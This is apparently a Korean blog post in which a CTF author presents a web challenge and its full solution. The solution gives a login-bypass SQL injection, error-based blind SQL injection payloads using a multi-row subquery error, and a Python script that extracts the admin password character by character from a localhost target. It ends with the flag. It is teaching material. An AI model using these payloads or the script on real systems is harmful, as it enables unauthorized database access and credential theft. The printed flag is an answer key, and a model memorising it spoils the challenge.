문제명:중부 시크릿 페스티벌
문제파일
- /css(디렉토리)
- main.php
- secret.php
- func.php
- dbinfo.php
문제
내이름은 MinSu 남들은 모르는 엄청난 라인업의 시크릿 축제가 열린다는 것을 알았다!!
비밀코드를 알아내서 MinSu 란 이름으로 축제에 참가하자!!
어..? 코딩실수 인가 오른쪽 아래 저건 뭐지..?
+(secret code는 admin의 pw이다.)
문제파일:미제공
난이도(중상)
문제취지
- 가벼운 sqli에 대한 이해
- php pw에 대한 필터링 이해
- Direct Error based SQL Injection 이해
풀이방법
1.문제를 들어가게 된다면 축제 라인업과 입장 코드 입력이 나온다.
2.페이지의 오른쪽 아래 하단을 보면 pw_easy로 입력받는 입력값을 거의 필터링 안하는것을 알수 있다
3.따라서 간단한 sqli 문을 입력해주면 다음 secret page로 넘어가게 된다.
3-1 html의 소스를 봐서 secret 페이지로 바로 들어가려하면 다음과 같이 member가 아니라고 뜬다(처음 enter code를 우회해야 쿠키가 생겨서 secret 페이지로 이동할수있다.)
4. secret 페이지도 힌트처럼 소스가 일부분 보이는데 잘 보면 필터링이 있다는 것과 db오류시 exit()함수가 실행되는것을 알수있다.
5.따라서 오류를 이용한 Direct Error based SQL Injection 를 하면된다.
간단한 오류sql
select pw from secret where id='admin' and pw='' or id='admin' and (select 1 union select (1=1))
=> 서브쿼리에 여러줄이 나올수 없는 에러를 활용(1이면 앞과 뒤 둘다 1이여서 1줄이지만 false면 1과 0 값이두개라 에러가 난다.)
5-1 에러가 나는 모습
6. 따라서 다음과 같이 pw 자리에 sql 문을 넣어서 참임을 확인하며 pw를 알아낸다.
pw= ' or id='admin' and (select 1 union select (length(pw)=153))#
pw= ' or id='admin' and (select 1 union select (ord(mid(pw,1,1))=100))#
6-1.스크립트를 이용하면 수월하게 알아낼수있다(일부로 pw를 길게 설정해 스크립트이용을 유도했다).
6-2 사용한 python script
import requests
url = "http://127.0.0.1:8080/JBUfestival/secret.php" #ctf url
session = {'SECRETCOOKIE' : 'SCN12NOoinw3238NCOEO3u'} #로그인 쿠키
r_data = {}
data={}
flag=""
#길이 구하기
for i in range(1,200):
r_data['pw']="' or id='admin' and (select 1 union select (length(pw)='"+str(i)+"'))#"
res = requests.get(url, params=r_data)
if "secret" in res.text:
print("password_length="+str(i))
break
#password 구하기
for i in range(1,200):
for j in range(32,127):
data['pw']="' or id='admin' and (select 1 union select ord(mid(pw,"+str(i)+",1))='"+str(j)+"')#"
res = requests.get(url, params=data)
if "secret" in res.text:
print("password["+str(i)+"]:"+chr(j))
flag = flag + chr(j)
break
print("full_falg:"+flag)
7.마지막으로 id에 MinSu를 입력하고 알아낸 pw를 입력하면 flag를 획득!
flag
scp{dn1o2_12dwsDS21_xQ12}
힌트
- 꼭 main페이지를 통해 secret 페이지에 접속해라.
- if(mysqli_error($conn)) exit();
- 스크립트를 활용해라(pw가 상당히 길다.)
'JBU CTF 출제(web)' 카테고리의 다른 글
잠만 이거 A+ 각인데! (2020) (0) | 2022.11.01 |
---|---|
(๑˃̵ᴗ˂̵) (2020) (0) | 2022.11.01 |
원래 문제 풀이를 하려했지만... (0) | 2020.06.01 |